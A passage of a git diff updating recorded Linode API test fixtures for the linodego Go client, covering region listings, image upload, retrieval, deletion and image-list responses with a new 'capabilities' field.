- "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall",
- "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
- {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5",
+ {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes",
+ "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed
+ Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall",
- "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok",
- "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5",
+ {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes",
+ "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes",
+ "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed
+ Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20",
+ {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes",
+ "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block
+ Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4":
+ "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall",
- "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
- {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20",
+ {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes",
+ "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed
+ Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall",
- "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
- {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5",
+ {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes",
+ "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed
+ Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}},
- {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers",
- "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations",
- "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5",
+ {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities":
+ ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall",
+ "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers":
+ {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5",
"ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}],
- "page": 1, "pages": 1, "results": 11}'
+ "page": 1, "pages": 1, "results": 13}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -119,12 +133,12 @@ interactions:
url: https://api.linode.com/v4beta/images/upload
method: POST
response:
- body: '{"upload_to": "https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/17578677?Signature=Z89k5vlBltxWNu0GG%2BPtbebMJQs%3D&Expires=1665504365&AWSAccessKeyID=SANITIZED",
- "image": {"id": "private/17578677", "label": "linodego-image-test", "description":
+ body: '{"upload_to": "https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/20417725?Signature=nzWr7PSf7VJJ7Pd1E7FQ3naUusc%3D&Expires=1685640813&AWSAccessKeyID=SANITIZED",
+ "image": {"id": "private/20417725", "label": "linodego-image-test", "description":
"An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false,
"deprecated": false, "vendor": null, "expiry": null, "eol": null, "status":
- "pending_upload"}}'
+ "pending_upload", "capabilities": []}}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -139,7 +153,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "558"
+ - "576"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -176,14 +190,75 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/images/private/17578677
+ url: https://api.linode.com/v4beta/images/private%2F20417725
+ method: GET
+ response:
+ body: '{"id": "private/20417725", "label": "linodego-image-test", "description":
+ "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
+ "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false,
+ "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status":
+ "pending_upload", "capabilities": []}'
+ headers:
+ Access-Control-Allow-Credentials:
+ - "true"
+ Access-Control-Allow-Headers:
+ - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter
+ Access-Control-Allow-Methods:
+ - HEAD, GET, OPTIONS, POST, PUT, DELETE
+ Access-Control-Allow-Origin:
+ - '*'
+ Access-Control-Expose-Headers:
+ - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status
+ Cache-Control:
+ - private, max-age=0, s-maxage=0, no-cache, no-store
+ - private, max-age=60, s-maxage=60
+ Content-Length:
+ - "362"
+ Content-Security-Policy:
+ - default-src 'none'
+ Content-Type:
+ - application/json
+ Server:
+ - nginx
+ Strict-Transport-Security:
+ - max-age=31536000
+ Vary:
+ - Authorization, X-Filter
+ - Authorization, X-Filter
+ X-Accepted-Oauth-Scopes:
+ - images:read_only
+ X-Content-Type-Options:
+ - nosniff
+ X-Frame-Options:
+ - DENY
+ - DENY
+ X-Oauth-Scopes:
+ - '*'
+ X-Ratelimit-Limit:
+ - "800"
+ X-Xss-Protection:
+ - 1; mode=block
+ status: 200 OK
+ code: 200
+ duration: ""
+- request:
+ body: ""
+ form: {}
+ headers:
+ Accept:
+ - application/json
+ Content-Type:
+ - application/json
+ User-Agent:
+ - linodego/dev https://github.com/linode/linodego
+ url: https://api.linode.com/v4beta/images/private%2F20417725
method: GET
response:
- body: '{"id": "private/17578677", "label": "linodego-image-test", "description":
+ body: '{"id": "private/20417725", "label": "linodego-image-test", "description":
"An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false,
"deprecated": false, "vendor": null, "expiry": null, "eol": null, "status":
- "pending_upload"}'
+ "pending_upload", "capabilities": []}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -199,7 +274,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "342"
+ - "362"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -237,14 +312,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/images/private/17578677
+ url: https://api.linode.com/v4beta/images/private%2F20417725
method: GET
response:
- body: '{"id": "private/17578677", "label": "linodego-image-test", "description":
+ body: '{"id": "private/20417725", "label": "linodego-image-test", "description":
"An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"size": 1, "created_by": "lgarber-dev", "type": "manual", "is_public": false,
"deprecated": false, "vendor": null, "expiry": null, "eol": null, "status":
- "available"}'
+ "available", "capabilities": []}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -260,7 +335,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "337"
+ - "357"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -298,7 +373,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/images/private/17578677
+ url: https://api.linode.com/v4beta/images/private%2F20417725
method: DELETE
response:
body: '{}'
diff --git a/test/integration/fixtures/TestImages_List.yaml b/test/integration/fixtures/TestImages_List.yaml
index 34d266233..2810519e7 100644
--- a/test/integration/fixtures/TestImages_List.yaml
+++ b/test/integration/fixtures/TestImages_List.yaml
@@ -14,200 +14,156 @@ interactions:
url: https://api.linode.com/v4beta/images
method: GET
response:
- body: '{"pages": 1, "data": [{"id": "private/17578292", "label": "nspa - Alpine
- 3.16 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 354, "created_by": null, "type": "automatic", "is_public": false,
+ body: '{"pages": 1, "data": [{"id": "private/20403225", "label": "splunk-build
+ - Alpine 3.17 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
+ null, "size": 5463, "created_by": null, "type": "automatic", "is_public": false,
"deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578295", "label": "linode39245136
- - Restore 294571 - Alpine 3.16 Disk", "description": "", "created": "2018-01-02T03:04:05",
- "updated": null, "size": 1248, "created_by": null, "type": "automatic", "is_public":
- false, "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05",
- "eol": null, "status": "available"}, {"id": "private/17578299", "label": "lke75477-117333-63408e2c748a
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4402, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578301", "label": "lke75476-117332-63408dedda63
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4444, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578303", "label": "lke75476-117332-63408ded6fe5
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4415, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578305", "label": "lke75476-117332-63408ded0595
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4689, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578309", "label": "lke75477-117333-63408e2ba8de
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4644, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578318", "label": "lke75477-117333-63408e2add48
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4353, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "linode/almalinux8", "label": "AlmaLinux
- 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/almalinux9", "label": "AlmaLinux 9",
- "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12",
- "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13",
- "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.16", "label": "Alpine 3.16",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
+ null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8",
+ "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null,
+ "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id":
+ "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700,
+ "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false,
+ "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
+ "description": "", "created_by": "linode", "type": "manual", "is_public": true,
+ "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
+ "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine
+ 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
"is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated":
- false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id":
- "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size":
- 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size":
- 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo",
- "expiry": null, "eol": null, "status": "available"}, {"id": "linode/kali", "label":
- "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label":
+ "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol":
- null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label":
- "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated":
- false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
- "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1
- on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17",
+ "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18",
+ "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch",
+ "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label":
+ "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8",
+ "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9",
+ "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10",
+ "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.12",
- "label": "Kubernetes 1.21.12 on Debian 11", "deprecated": false, "size": 3500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated":
- false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
- "available"}, {"id": "linode/debian11-kube-v1.22.9", "label": "Kubernetes 1.22.9
- on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11",
+ "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.6",
- "label": "Kubernetes 1.23.6 on Debian 11", "deprecated": false, "size": 3500,
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora36",
+ "label": "Fedora 36", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37",
+ "label": "Fedora 37", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38",
+ "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/gentoo",
+ "label": "Gentoo", "deprecated": false, "size": 5500, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label":
+ "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Kali", "expiry": null, "eol":
+ null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.24.8",
+ "label": "Kubernetes 1.24.8 on Debian 11", "deprecated": false, "size": 3500,
"created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
"", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size":
- 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": false, "size":
- 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300,
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/debian11-kube-v1.25.4", "label": "Kubernetes 1.25.4 on Debian
+ 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated":
+ "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
+ "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.26.1",
+ "label": "Kubernetes 1.26.1 on Debian 11", "deprecated": false, "size": 3500,
"created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size":
- 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
